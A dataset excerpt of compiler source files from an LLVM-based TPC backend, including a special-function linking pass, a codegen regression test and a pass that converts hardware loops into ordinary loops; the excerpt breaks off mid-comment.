256 * 8, 0, SubArchType::Gaudi})] =\n GaudiReduceMinU8LL;\n NameMap[ArrayRef<unsigned>(\n {Intrinsic::experimental_vector_reduce_umin, Type::IntegerTyID * 8,\n Type::IntegerTyID * 256 * 8, 0, SubArchType::Gaudi})] =\n \"v_u8_reduce_min\";\n\n // reduction U8 max\n LinkFileMap[ArrayRef<unsigned>(\n {Intrinsic::experimental_vector_reduce_umax, Type::IntegerTyID * 8,\n Type::IntegerTyID * 256 * 8, 0, SubArchType::Gaudi})] =\n GaudiReduceMaxU8LL;\n NameMap[ArrayRef<unsigned>(\n {Intrinsic::experimental_vector_reduce_umax, Type::IntegerTyID * 8,\n Type::IntegerTyID * 256 * 8, 0, SubArchType::Gaudi})] =\n \"v_u8_reduce_max\";\n\n // Goya\n // Reciprocal F32\n LinkFileMap[ArrayRef<unsigned>(\n {Intrinsic::tpc_reciprocal, Type::FloatTyID * 64 * 32,\n Type::FloatTyID * 64 * 32, 0, SubArchType::Goya})] =\n GoyaReciprocalF32LL;\n NameMap[ArrayRef<unsigned>(\n {Intrinsic::tpc_reciprocal, Type::FloatTyID * 64 * 32,\n Type::FloatTyID * 64 * 32, 0, SubArchType::Goya})] =\n \"reciprocal_cephes_f32\";\n }\n\n virtual ~LinkTPCHeadersLegacyPass() {}\n void getAnalysisUsage(AnalysisUsage &AU) const override {}\n SmallVector<unsigned, 4> getHashVector(IntrinsicInst *II);\n bool instructionNeedsLinking(const Instruction &I, StringRef &IRStr);\n bool replaceWithCall(Instruction *I);\n\n bool runOnModule(Module &M) override;\n};\n} // namespace\n\nstatic inline unsigned getTypeVal(Type *Ty) {\n unsigned TypeVal =\n Ty->getScalarType()->getTypeID() * Ty->getScalarSizeInBits();\n if (Ty->isVectorTy()) {\n auto VectorTy = dyn_cast<VectorType>(Ty);\n TypeVal *= (VectorTy->getElementCount().Min);\n }\n return TypeVal;\n}\n\nSmallVector<unsigned, 4>\nLinkTPCHeadersLegacyPass::getHashVector(IntrinsicInst *II) {\n unsigned ID = II->getIntrinsicID();\n Type *OutTy = II->getType();\n SmallVector<unsigned, 4> Hash;\n Hash.push_back(ID);\n auto OutTypeVal = getTypeVal(OutTy);\n Hash.push_back(OutTypeVal);\n\n for (Value *V : II->operands())\n Hash.push_back(getTypeVal(V->getType()));\n\n // Put SubArch in Hash.\n Hash.push_back(ArchMap[SubArchName]);\n return Hash;\n}\n\nbool LinkTPCHeadersLegacyPass::instructionNeedsLinking(const Instruction &I,\n StringRef &IRStr) {\n if (const IntrinsicInst *II = dyn_cast<IntrinsicInst>(&I)) {\n auto Hash = getHashVector(const_cast<IntrinsicInst *>(II));\n auto It = LinkFileMap.find(Hash);\n if (It == LinkFileMap.end())\n return false;\n\n // If the special function has already been linked.\n if (LinkedIRs.find(It->second) != LinkedIRs.end()) {\n ReplacementList.push_back(const_cast<Instruction *>(&I));\n return false;\n }\n\n LinkedIRs.insert(It->second);\n IRStr = It->second;\n return true;\n }\n return false;\n}\n\nbool IsReduction(Instruction *I) {\n if (IntrinsicInst *II = dyn_cast<IntrinsicInst>(I)) {\n Intrinsic::ID Inid = II->getIntrinsicID();\n if ((Inid == Intrinsic::experimental_vector_reduce_add) ||\n (Inid == Intrinsic::experimental_vector_reduce_mul) ||\n (Inid == Intrinsic::experimental_vector_reduce_fmax) ||\n (Inid == Intrinsic::experimental_vector_reduce_fmin) ||\n (Inid == Intrinsic::experimental_vector_reduce_smax) ||\n (Inid == Intrinsic::experimental_vector_reduce_smin) ||\n (Inid == Intrinsic::experimental_vector_reduce_umin) ||\n (Inid == Intrinsic::experimental_vector_reduce_umax)) {\n return true;\n }\n }\n return false;\n}\n\nbool LinkTPCHeadersLegacyPass::replaceWithCall(Instruction *I) {\n Module *M = I->getModule();\n if (IntrinsicInst *II = dyn_cast<IntrinsicInst>(I)) {\n auto Hash = getHashVector(II);\n auto It = NameMap.find(Hash);\n if (It == NameMap.end())\n return false;\n\n Function *Special = M->getFunction(It->second);\n assert(Special && \"The special function should have been linked.\");\n // Set available externally attribute for the special function as it doesn't\n // link using the link API.\n Special->setLinkage(GlobalValue::AvailableExternallyLinkage);\n\n IRBuilder<> Builder(I);\n SmallVector<Value *, 2> Args;\n for (Value *Val : II->args())\n Args.push_back(Val);\n\n auto SpecialCall =\n Builder.CreateCall(Special->getFunctionType(), Special, Args);\n LLVM_DEBUG(dbgs() << \"\\nReplacing instruction \\n\"; I->dump();\n dbgs() << \"with function call \\n\"; SpecialCall->dump(););\n if (IsReduction(I)) {\n for (const Use &RootInstUse : I->uses()) {\n User *RootInstUser = RootInstUse.getUser();\n if (auto *InsertUserCast = dyn_cast<InsertElementInst>(RootInstUser)) {\n for (const Use &RootInstUse1 : InsertUserCast->uses()) {\n User *RootInstUser1 = RootInstUse1.getUser();\n if (auto *InsertUserCast1 =\n dyn_cast<ShuffleVectorInst>(RootInstUser1)) {\n InsertUserCast1->replaceAllUsesWith(SpecialCall);\n InsertUserCast->replaceAllUsesWith(\n UndefValue::get(InsertUserCast->getType()));\n I->replaceAllUsesWith(UndefValue::get(I->getType()));\n InsertUserCast1->eraseFromParent();\n InsertUserCast->eraseFromParent();\n I->eraseFromParent();\n return true;\n }\n }\n }\n }\n }\n I->replaceAllUsesWith(SpecialCall);\n I->eraseFromParent();\n return true;\n }\n return false;\n}\n\nstatic std::string getTPCIntrinsicName(Intrinsic::ID IDNum,\n FunctionType *FType) {\n SmallVector<Intrinsic::IITDescriptor, 8> Table;\n Intrinsic::getIntrinsicInfoTableEntries(IDNum, Table);\n ArrayRef<Intrinsic::IITDescriptor> TableRef = Table;\n (void)TableRef;\n SmallVector<Type *, 4> ArgTys;\n Intrinsic::matchIntrinsicSignature(FType, TableRef, ArgTys);\n return Intrinsic::getName(IDNum, ArgTys);\n}\n\nstatic void expandFDiv(Instruction *I) {\n IRBuilder<> Builder(I);\n Module *M = I->getModule();\n Type *Ty = I->getType();\n Value *Numerator = I->getOperand(0), *Denominator = I->getOperand(1);\n SmallVector<Type *, 1> Types = {Ty};\n auto FType = FunctionType::get(Ty, Types, false);\n auto Intrinsic = cast<Function>(\n M->getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_reciprocal, FType), FType)\n .getCallee());\n auto Recip = Builder.CreateCall(Intrinsic, Denominator);\n auto FMul = Builder.CreateFMul(Numerator, Recip);\n I->replaceAllUsesWith(FMul);\n}\n\nstatic void expandSpecialCaseLLVMIR(Function *Main) {\n SmallVector<Instruction *, 8> EraseList;\n for (auto &BB : *Main) {\n for (auto &I : BB) {\n // Handle vector FDIV case.\n if (I.getType()->isVectorTy() && I.getOpcode() == Instruction::FDiv) {\n expandFDiv(&I);\n EraseList.push_back(&I);\n }\n }\n }\n for (Instruction *I : EraseList)\n I->eraseFromParent();\n}\n\nbool LinkTPCHeadersLegacyPass::runOnModule(Module &M) {\n if (skipModule(M))\n return false;\n\n LLVMContext &Ctx = M.getContext();\n SMDiagnostic Err;\n llvm::StringRef IRStr;\n Function *Main = M.getFunction(\"main\");\n if (!Main)\n return false;\n Attribute SubArchAttr = Main->getFnAttribute(\"target-cpu\");\n auto SubArchStr = SubArchAttr.getValueAsString();\n if (SubArchStr.size() > 0)\n SubArchName = SubArchStr;\n\n // Expand the IR to appropriate form.\n expandSpecialCaseLLVMIR(Main);\n\n bool LinkFail = false;\n // Identify the modules that need to be linked.\n for (auto &BB : *Main) {\n for (auto &I : BB) {\n std::string LinkFileName = \"\";\n if (instructionNeedsLinking(I, IRStr)) {\n ReplacementList.push_back(&I);\n\n auto ParsedModule =\n parseIR(MemoryBufferRef(IRStr, \"Special\"), Err, Ctx);\n if (!ParsedModule)\n return false;\n\n LLVM_DEBUG(dbgs() << \"\\nSpecial function module parsing successful.\");\n LLVM_DEBUG(dbgs() << \"\\nLinked functions : \\n\";\n for (Function &F\n : *ParsedModule) dbgs()\n << F.getName() << \"\\n\";);\n ParsedModule->setDataLayout(M.getDataLayout());\n // Link modules.\n LinkFail |= Linker::linkModules(M, std::move(ParsedModule));\n }\n }\n }\n // Replace the instruction with call.\n for (Instruction *I : ReplacementList) {\n replaceWithCall(I);\n }\n\n return !LinkFail;\n}\n\nchar LinkTPCHeadersLegacyPass::ID = 0;\nINITIALIZE_PASS(LinkTPCHeadersLegacyPass, \"link-tpc-headers\",\n \"Link TPC Headers\", false, false)\n\nPass *llvm::createLinkTPCHeadersLegacyPass() {\n return new LinkTPCHeadersLegacyPass();\n}\n" }, { "alpha_fraction": 0.4267716407775879, "alphanum_fraction": 0.5370078682899475, "avg_line_length": 41.33333206176758, "blob_id": "52e564cf81bd717faba8dce3d1f397166822ed98", "content_id": "314e3a26a466204aeba0758eebe081cf3ea459ed", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 635, "license_type": "permissive", "max_line_length": 93, "num_lines": 15, "path": "/clang/test/RC99/regression/gaudi-660b.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -triple tpc-none-none -std=rc99 -O1 %s -o - | FileCheck %s\n\nvoid main (int dest, float v, _Bool pred_1) {\n float64 out_value[4] = { 0, 0, 0, 0 };\n float64 out_value_1[4];\n float64 weight_value[4] = { 1, 1, 1, 1};\n float64 in_value[4] = { v, v, v, v };\n out_value_1[0] = v_f32_mac_v_v_b(weight_value[0], in_value[0], out_value[0], 0, pred_1, 0);\n *(float64 __local *)dest = out_value_1[0];\n}\n\n// CHECK-DAG: mov.f32 %V[[ACC:[0-9]+]], 0x0\n// CHECK-DAG: mov.f32 %V[[OP1:[0-9]+]], 0x3f800000\n// CHECK: mac.f32 %V[[ACC:[0-9]+]], %V[[OP1]], %S1, %SP{{[0-9]+}}\n// CHECK: st_l_v %S0, 0x0, %V[[ACC]], %SP0\n" }, { "alpha_fraction": 0.6387138366699219, "alphanum_fraction": 0.6479103565216064, "avg_line_length": 27.31147575378418, "blob_id": "c2bc5cbf3f41d9ab4d1534e5aba5da953217031d", "content_id": "237b50cbbca60f6d093c482e15dcf704104b0bb7", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 29359, "license_type": "permissive", "max_line_length": 92, "num_lines": 1037, "path": "/llvm/lib/Target/TPC/TPCUnHardwareLoops.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===- TPCUnHardwareLoop.cpp ------------------------------------*- C++ -*-===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===-Transform HW Loop in usual loop------------------------------------===//\n//\n//===-if it exceeds limit ----------------------------------------------===//\n\n#include \"llvm/ADT/SmallSet.h\"\n#include \"TPCInstrInfo.h\"\n#include \"TPCSubtarget.h\"\n#include \"llvm/CodeGen/MachineRegisterInfo.h\"\n#include \"llvm/CodeGen/MachineInstrBuilder.h\"\n#include \"MCTargetDesc/TPCMCTargetDesc.h\"\n#include \"MCTargetDesc/TPCMCInstrInfo.h\"\n#include \"TPCSubtarget.h\"\n#include \"TPCTargetMachine.h\"\n#include \"llvm/Analysis/AliasAnalysis.h\"\n#include \"llvm/CodeGen/MachineLoopInfo.h\"\n#include \"TPCVLIWPacketizer.h\"\n#include \"llvm/InitializePasses.h\"\n#include \"llvm/Analysis/AliasAnalysis.h\"\n#include \"llvm/CodeGen/MachineDominators.h\"\n#include \"llvm/CodeGen/MachineFunctionPass.h\"\n#include \"llvm/CodeGen/MachineLoopInfo.h\"\n#include \"llvm/CodeGen/MachineRegisterInfo.h\"\n#include \"TPCVLIWPacketizer.h\"\n\nusing namespace llvm;\n\nnamespace llvm {\nFunctionPass *createTPCUnHardwareLoops();\nvoid initializeTPCUnHardwareLoopsPass(PassRegistry&);\n}\n\nstatic const char PassDescription[] = \"TPC UnHardware Loops\";\nstatic const char PassName[] = \"tpc-unhardware-loops\";\n\n// Flag to disable register balancing.\nstatic cl::opt<bool>\nEnableTPCUnHardwareLoops(PassName,\n cl::desc(\"transform hardware loops in usual loops\"),\n cl::init(true), cl::Hidden);\n\nstatic cl::opt<bool> // debugging purposes\n ForceUnHardwareLoops(\"tpc-force-unhardware-loops\",\n cl::desc(\"transform hardware lops in usual loops of any size\"),\n cl::init(false), cl::Hidden);\n\n#define EMPTYREF (unsigned)(~0)\n#define BUNDLE_EXCEED_LIMIT 1950\n#define PRECOUNT 4 // operand number before loop counts\n\n\n\nnamespace {\nclass TPCUnHardwareLoops : public MachineFunctionPass {\n MachineFunction *MF = nullptr;\n MachineRegisterInfo *MRI = nullptr;\n const TargetInstrInfo *TII = nullptr;\n unsigned NumReplaced = 0;\n\npublic:\n static char ID;\n TPCUnHardwareLoops() : MachineFunctionPass(ID) {\n initializeTPCUnHardwareLoopsPass(*PassRegistry::getPassRegistry());\n HII = nullptr;\n HRI = nullptr;\n }\n\n void getAnalysisUsage(AnalysisUsage &AU) const override {\n AU.setPreservesCFG();\n AU.addRequired<AAResultsWrapperPass>();\n AU.addRequired<MachineBranchProbabilityInfo>();\n AU.addRequired<MachineDominatorTree>();\n AU.addRequired<MachineLoopInfo>();\n AU.addPreserved<MachineDominatorTree>();\n AU.addPreserved<MachineLoopInfo>();\n MachineFunctionPass::getAnalysisUsage(AU);\n }\n\n StringRef getPassName() const override { return PassDescription; }\n\n bool runOnMachineFunction(MachineFunction &MF) override;\n\nprivate:\n\n typedef struct {\n MachineInstr *StartInstr;\n MachineInstr *EndInstr;\n int LoopCount;\n int NewCount;\n unsigned nest;\n unsigned InstrNumber;\n unsigned sp;\n // Tree references\n unsigned UpLoop;\n unsigned RightLoop;\n unsigned DownLoop;\n unsigned LastClosedSon;\n SmallSet<MachineInstr*, 16> LoopRegInstr;\n bool spoiled;\n bool transform;\n } TLoopFrame;\n\n const TPCInstrInfo *HII;\n const TPCRegisterInfo *HRI;\n\n unsigned limitsize = BUNDLE_EXCEED_LIMIT; // may be corrected\n bool nomorelimitcorrection = false;\n unsigned CurrentTopLoop = EMPTYREF;\n unsigned SPScale;\n bool AtLeastOneLoopWasToTRansform = false;\n SmallVector<TLoopFrame, 64> hwloops;\n SmallSet<unsigned, 32> newroots;\n SmallSet<MachineInstr *, 16> AlreadyUpdated;\n\n void InitSPScale(void);\n bool SPScaleEmpty(void);\n void ExcludeSPReg(unsigned nreg);\n unsigned GiveSPScaleReg(void);\n void TakeSPScaleReg(unsigned nreg);\n bool TransformHWLoopBack(unsigned int, MachineFunction & MF);\n void CheckDefUsedInLoopTunes(MachineOperand &MO, unsigned curl);\n void ProcessNotLoopInstr(MachineInstr *MI);\n bool IsLoopTreeSpoiled(unsigned rooti);\n void MarkTreeAsSpoiled(unsigned rooti);\n void EscalateSpoiled(void);\n bool LoopToTransform(unsigned rooti);\n void MarkTreeToTransform(unsigned rooti);\n void MarkTreeToTransformUp(unsigned rooti);\n void EscalateTransform(void);\n void ProcessStartLoop(MachineInstr *MI, unsigned nest_count,\n unsigned instr_count);\n unsigned ProcessEndLoop(MachineInstr *MI, unsigned instr_count);\n void SetRight(unsigned endloop);\n unsigned FindElderBrother(unsigned endloop);\n unsigned ReachRight(unsigned leftmost);\n void SetNewRoots(unsigned RootFrom);\n void SetNewCounts(void);\n void SetHWCount(unsigned root, int count);\n void SetSoftCounts(unsigned RootFrom,unsigned count);\n void ReplaceCounts(unsigned root);\n};\n}\n\nchar TPCUnHardwareLoops::ID = 0;\n\nINITIALIZE_PASS(TPCUnHardwareLoops, PassName, PassDescription, false, false)\n\nFunctionPass *llvm::createTPCUnHardwareLoops() {\n return new TPCUnHardwareLoops();\n}\n\nstatic int getSPnumber(Register spr) { \n int ret = -1;\n switch (spr) { \n case TPC::SP0 : ret = 0; break;\n case TPC::SP1 : ret = 1; break;\n case TPC::SP2 : ret = 2; break;\n case TPC::SP3 : ret = 3; break;\n case TPC::SP4 : ret = 4; break;\n case TPC::SP5 : ret = 5; break;\n case TPC::SP6 : ret = 6; break;\n case TPC::SP7 : ret = 7; break;\n case TPC::SP8 : ret = 8; break;\n case TPC::SP9 : ret = 9; break;\n case TPC::SP10: ret = 10; break;\n case TPC::SP11: ret = 11; break;\n case TPC::SP12: ret = 12; break;\n case TPC::SP13: ret = 13; break;\n case TPC::SP14: ret = 14; break;\n case TPC::SP15: ret = 15; break;\n }\n return ret;\n}\n\nstatic Register getSPRegister(int nreg) {\n Register ret = 0;\n switch (nreg) { \n case 0: ret = TPC::SP0 ; break;\n case 1: ret = TPC::SP1 ; break;\n case 2: ret = TPC::SP2 ; break;\n case 3: ret = TPC::SP3 ; break;\n case 4: ret = TPC::SP4 ; break;\n case 5: ret = TPC::SP5 ; break;\n case 6: ret = TPC::SP6 ; break;\n case 7: ret = TPC::SP7 ; break;\n case 8: ret = TPC::SP8 ; break;\n case 9: ret = TPC::SP9 ; break;\n case 10: ret = TPC::SP10 ; break;\n case 11: ret = TPC::SP11 ; break;\n case 12: ret = TPC::SP12 ; break;\n case 13: ret = TPC::SP13 ; break;\n case 14: ret = TPC::SP14 ; break;\n case 15: ret = TPC::SP15 ; break;\n }\n return ret;\n}\n\nstatic int SRegToNumber(Register sr) {\n int ret = -1;\n switch (sr) {\n case TPC::S32: ret = 32; break;\n case TPC::S33: ret = 33; break;\n case TPC::S34: ret = 34; break;\n case TPC::S35: ret = 35; break;\n }\n return ret;\n}\n\nstatic Register NumberToSReg(unsigned sr) {\n int ret = -1;\n switch (sr) {\n case 32: ret = TPC::S32; break;\n case 33: ret = TPC::S33; break;\n case 34: ret = TPC::S34; break;\n case 35: ret = TPC::S35; break;\n }\n return ret;\n}\n\nstatic unsigned GiveCMPCode(MachineOperand *loopupper, unsigned loopcmp) {\n bool isI = loopupper->isImm();\n switch (loopcmp) {\n case TPCII::LoopEQ:\n return (isI)?TPC::CMP_EQsip : TPC::CMP_EQssp;\n case TPCII::LoopNE:\n return (isI)?TPC::CMP_NEQsip : TPC::CMP_NEQssp;\n case TPCII::LoopLT:\n return (isI)?TPC::CMP_LESSsip : TPC::CMP_LESSssp;\n case TPCII::LoopLE:\n return (isI)?TPC::CMP_LEQsip : TPC::CMP_LEQssp;\n case TPCII::LoopGT:\n return (isI) ? TPC::CMP_GRTsip : TPC::CMP_GRTssp;\n case TPCII::LoopGE: {\n return (isI) ? TPC::CMP_GEQsip : TPC::CMP_GEQssp;\n }\n default :\n llvm_unreachable(\"Incorrect cmp mode\");\n }\n return TPC::INSTRUCTION_LIST_END;\n}\n\nstatic bool isLoopInstr(MachineInstr *MI) {\n switch (MI->getOpcode()) {\n case TPC::LOOP1iiip :\n case TPC::LOOP1iisp:\n case TPC::LOOP1isip:\n case TPC::LOOP1issp:\n case TPC::LOOP1siip:\n case TPC::LOOP1sisp:\n case TPC::LOOP1ssip:\n case TPC::LOOP1sssp:\n case TPC::LOOPiii:\n case TPC::LOOPiiip:\n case TPC::LOOPiis:\n case TPC::LOOPiisp:\n case TPC::LOOPisi:\n case TPC::LOOPisip:\n case TPC::LOOPiss:\n case TPC::LOOPissp:\n case TPC::LOOPsii:\n case TPC::LOOPsiip:\n case TPC::LOOPsis:\n case TPC::LOOPsisp:\n case TPC::LOOPssi:\n case TPC::LOOPssip:\n case TPC::LOOPsss:\n case TPC::LOOPsssp:\n return true;\n }\n return false;\n}\n\n\nstatic bool isPrLoopInstr(MachineInstr *MI) {\n switch (MI->getOpcode()) {\n case TPC::LOOP1iiip:\n case TPC::LOOP1iisp:\n case TPC::LOOP1isip:\n case TPC::LOOP1issp:\n case TPC::LOOP1siip:\n case TPC::LOOP1sisp:\n case TPC::LOOP1ssip:\n case TPC::LOOP1sssp:\n case TPC::LOOPiiip:\n case TPC::LOOPiisp:\n case TPC::LOOPisip:\n case TPC::LOOPissp:\n case TPC::LOOPsiip:\n case TPC::LOOPsisp:\n case TPC::LOOPssip:\n case TPC::LOOPsssp:\n return true;\n }\n return false;\n}\n\nstatic bool MOPIsLoopRegUse(MachineOperand *operand) { \n if (operand->isReg() && operand->isUse()) {\n Register lreg = operand->getReg();\n return SRegToNumber(lreg) > 0;\n }\n return false;\n}\n\n\nstatic bool InstrWithLoopReg(MachineInstr *instr) {\n unsigned nop = instr->getNumOperands();\n unsigned opc = instr->getOpcode();\n if (opc == TPC::LOOPEND) {\n return false;\n }\n if (isLoopInstr(instr)) {\n nop = 3;\n }\n for (unsigned int i = 0; i < nop; i++) {\n if (MOPIsLoopRegUse(&instr->getOperand(i))) {\n return true;\n }\n }\n return false;\n}\n\nvoid TPCUnHardwareLoops::InitSPScale(void) { \n SPScale = 0xfffe; // from sp1 to sp15\n}\n\nbool TPCUnHardwareLoops::SPScaleEmpty(void) {\n return SPScale == 0; \n}\n\n\nvoid TPCUnHardwareLoops::ExcludeSPReg(unsigned nreg) { \n SPScale = ~(1 << nreg) & SPScale; \n}\n\nunsigned TPCUnHardwareLoops::GiveSPScaleReg(void) { \n int nreg = -1;\n unsigned ws = SPScale;\n while (ws) {\n ws = ws >> 1;\n nreg++;\n }\n assert(nreg >= 0 && \"No more SP regs,Think about SP speel\");\n ExcludeSPReg(nreg);\n return nreg;\n}\n\nvoid TPCUnHardwareLoops::TakeSPScaleReg(unsigned nreg) { \n SPScale |= (1 << nreg); \n}\n\n\nbool TPCUnHardwareLoops::TransformHWLoopBack(unsigned int i_loop,\n MachineFunction &Func) {\n TLoopFrame *lf = &hwloops[i_loop];\n if (lf->spoiled || !lf->transform) {\n return false;\n }\n MF = &Func;\n MRI = &MF->getRegInfo();\n TII = MF->getSubtarget().getInstrInfo();\n MachineInstr *StartInstr = lf->StartInstr;\n MachineInstr *EndInstr = lf->EndInstr;\n Register LoopCount = NumberToSReg(lf->LoopCount);\n auto lri = hwloops[i_loop].LoopRegInstr;\n if (lri.find(StartInstr) != lri.end()) {\n lri.erase(StartInstr);\n }\n\n Register regcmp;\n MachineBasicBlock *bbloop = EndInstr->getParent();\n MachineBasicBlock* AfterLoop = bbloop->getNextNode();\n MachineBasicBlock *bbpre = StartInstr->getParent();\n MachineBasicBlock *Loop1stBB = bbpre->getNextNode();\n MachineOperand init = StartInstr->getOperand(0);\n MachineOperand upb = StartInstr->getOperand(1);\n MachineOperand step = StartInstr->getOperand(2);\n unsigned cmpk = StartInstr->getOperand(3).getImm();\n MachineInstrBuilder MIB;\n MachineBasicBlock::iterator nmis = bbpre->instr_end();\n\n AfterLoop->setLabelMustBeEmitted();\n bbloop->setLabelMustBeEmitted();\n if (isPrLoopInstr(StartInstr)) {\n MachineOperand LoopPred = StartInstr->getOperand(5);\n MachineOperand LoopPolar = StartInstr->getOperand(6);\n bool polar = LoopPolar.getImm();\n // Jump due to loop predicate\n MIB = BuildMI(*bbpre, nmis, StartInstr->getDebugLoc(), TII->get(TPC::JMPR));\n MIB.addMBB(AfterLoop);\n MIB.add(LoopPred);\n MIB.addImm(!polar);\n }\n\n const MCInstrDesc &DeskMOVinit =\n TII->get(init.isImm() ? TPC::MOVsip : TPC::MOVssp);\n MIB = BuildMI(*bbpre, nmis, StartInstr->getDebugLoc(), DeskMOVinit,\n LoopCount);\n MIB.add(init);\n MIB.addImm(TPCII::OpType::INT32);\n MIB.addImm(0);\n MIB.addReg(LoopCount, RegState::Undef);\n MIB.addReg(TPC::SP0);\n MIB.addImm(0);\n\n hwloops[i_loop].LoopRegInstr.insert(MIB.getInstr());\n\n // CMP now\n regcmp = getSPRegister(lf->sp);\n if (!regcmp)\n assert(regcmp);\n\n unsigned cmpcode = GiveCMPCode(&upb, cmpk);\n MIB = BuildMI(*bbpre, nmis, StartInstr->getDebugLoc(), TII->get(cmpcode),\n regcmp);\n MIB.addReg(LoopCount);\n MachineOperand hereUpb = upb;\n if (hereUpb.isReg()) {\n hereUpb.setIsKill(false);\n }\n MIB.add(hereUpb);\n MIB.addImm(TPCII::OpType::INT32);\n MIB.addImm(0);\n MIB.addReg(regcmp, RegState::Undef);\n MIB.addReg(TPC::SP0);\n MIB.addImm(0);\n\n hwloops[i_loop].LoopRegInstr.insert(MIB.getInstr());\n\n // JMP now\n unsigned jump_polarity = 1; \n MIB = BuildMI(*bbpre, nmis, StartInstr->getDebugLoc(), TII->get(TPC::JMPR));\n MIB.addMBB(AfterLoop);\n MIB.addReg(regcmp, RegState::Kill);\n MIB.addImm(jump_polarity);\n\n regcmp = getSPRegister(lf->sp);\n assert(regcmp);\n\n // need to take right upper and step\n unsigned ne = EndInstr->getNumOperands();\n unsigned num_upper = 0;\n MachineOperand MoUpper=upb, MoStep=step;\n \n bool upper_is_imm = MoUpper.isImm();\n for (unsigned i = 0; i < ne; i++) {\n MachineOperand MO = EndInstr->getOperand(i);\n if (MO.isReg() && MO.getReg() == TPC::S35) {\n num_upper = i;\n break;\n }\n }\n // num_upper - must be register for upper\n\n if (num_upper != ne - 1) { // extra args for upper and step\n num_upper++;\n MachineOperand MOup = EndInstr->getOperand(num_upper);\n if (upper_is_imm) { // MOup is step\n MoStep = MOup;\n } \n else {\n MoUpper = MOup;\n }\n\n if (num_upper == ne - 1) { // no step arg, nothin to do\n } else {\n num_upper++;\n MoStep = EndInstr->getOperand(num_upper);\n assert(MoStep.isReg());\n }\n }\n\n MachineBasicBlock::iterator nmia = bbloop->instr_end();\n const MCInstrDesc &DeskAdd =\n TII->get(step.isImm() ? TPC::ADDsip : TPC::ADDssp);\n MIB = BuildMI(*bbloop, nmia, StartInstr->getDebugLoc(), DeskAdd,\n LoopCount);\n MIB.addReg(LoopCount);\n if (MoStep.isReg()) {\n MIB.addReg(MoStep.getReg());\n } else {\n MIB.addImm(MoStep.getImm());\n }\n MIB.addImm(TPCII::OpType::INT32);\n MIB.addImm(0);\n MIB.addReg(LoopCount, RegState::Undef);\n MIB.addReg(TPC::SP0);\n MIB.addImm(0);\n\n hwloops[i_loop].LoopRegInstr.insert(MIB.getInstr());\n\n // CMP now\n \n cmpcode = GiveCMPCode(&upb, cmpk);\n MIB = BuildMI(*bbloop, nmia, StartInstr->getDebugLoc(), TII->get(cmpcode),\n regcmp);\n MIB.addReg(LoopCount);\n if (!upper_is_imm) {\n MIB.addReg(MoUpper.getReg());\n } else {\n MIB.addImm(upb.getImm());\n }\n MIB.addImm(TPCII::OpType::INT32);\n MIB.addImm(0);\n MIB.addReg(regcmp, RegState::Undef);\n MIB.addReg(TPC::SP0);\n MIB.addImm(0);\n\n auto cmpi = MIB.getInstr();\n hwloops[i_loop].LoopRegInstr.insert(cmpi);\n // JMP now\n MIB = BuildMI(*bbloop, nmia, StartInstr->getDebugLoc(),\n TII->get(TPC::JMPR));\n MIB.addMBB(Loop1stBB);\n MIB.addReg(regcmp, RegState::Kill);\n MIB.addImm(0);\n\n\n\n\n MachineLoopInfo &MLI = getAnalysis<MachineLoopInfo>();\n auto *AA = &getAnalysis<AAResultsWrapperPass>().getAAResults();\n auto *MBPI = &getAnalysis<MachineBranchProbabilityInfo>();\n TPCPacketizerList Packetizer(Func, MLI, AA, MBPI);\n Packetizer.PacketNum = 0;\n MachineBasicBlock *lu = bbpre;\n Packetizer.PacketizeMIs(lu, lu->begin(), lu->end());\n\n for (MachineBasicBlock::iterator mi = lu->begin(), me = lu->end();\n mi != me;) {\n MachineBasicBlock::iterator nmi = std::next(mi);\n MachineInstr *MI = &*mi;\n if (MI->isBundle() && InstrWithLoopReg(MI)) {\n hwloops[i_loop].LoopRegInstr.insert(MI);\n }\n mi = nmi;\n }\n \n MachineBasicBlock *lb = bbloop;\n Packetizer.PacketizeMIs(lb, lb->begin(), lb->end());\n for (MachineBasicBlock::iterator mi = lb->begin(), me = lb->end();\n mi != me;) {\n MachineBasicBlock::iterator nmi = std::next(mi);\n MachineInstr *MI = &*mi;\n if (MI->isBundle() && InstrWithLoopReg(MI)) {\n unsigned last_innermost;\n last_innermost = hwloops[i_loop].LastClosedSon;\n if (last_innermost == EMPTYREF) {\n last_innermost = i_loop;\n }\n hwloops[last_innermost].LoopRegInstr.insert(MI);\n }\n mi = nmi;\n }\n EndInstr->removeFromParent();\n StartInstr->removeFromParent();\n\n return true;\n}\n\n\n\nvoid TPCUnHardwareLoops::CheckDefUsedInLoopTunes(MachineOperand &MO,\n unsigned curl) {\n if (curl == EMPTYREF) {\n return;\n }\n TLoopFrame lf = hwloops[curl];\n/*\n*/\n // using is permissable if it is SAVE/RESTORE action\n\n/* used register as count initializer can be used inside loop\n MachineOperand init = lf.StartInstr->getOperand(0);\n if (init.isReg() && !init.isKill() && init.getReg() == MO.getReg()) {\n hwloops[curl].spoiled = true;\n assert(0);\n }\n*/\n#if 1 // need to hide issue G-1926\n MachineOperand upb = lf.StartInstr->getOperand(1);\n MachineOperand step = lf.StartInstr->getOperand(2);\n if (upb.isReg() && upb.getReg() == MO.getReg()) {\n hwloops[curl].spoiled = true;\n // assert(0);\n }\n if (step.isReg() && step.getReg() == MO.getReg()) {\n hwloops[curl].spoiled = true;\n // assert(0);\n }\n#endif\n unsigned upl = hwloops[curl].UpLoop;\n CheckDefUsedInLoopTunes(MO, upl);\n}\n\n\nvoid TPCUnHardwareLoops::ProcessNotLoopInstr(MachineInstr *MI) {\n for (MachineInstr::mop_iterator MOI = MI->operands_begin(),\n MOE = MI->operands_end();\n MOI != MOE; ++MOI) {\n MachineOperand &MO = *MOI;\n // skip loop instr for analysis\n if (MO.isReg()) {\n int spn = getSPnumber(MO.getReg());\n if (spn >= 0) {\n if (MO.isKill()) {\n TakeSPScaleReg(spn); // mark using SP register\n }\n if (MO.isDef()) {\n ExcludeSPReg(spn); // mark using SP register\n }\n }\n if (MO.isDef()) {\n // need to check if this def is in used in loop instruction\n // (init,upper,step) must not 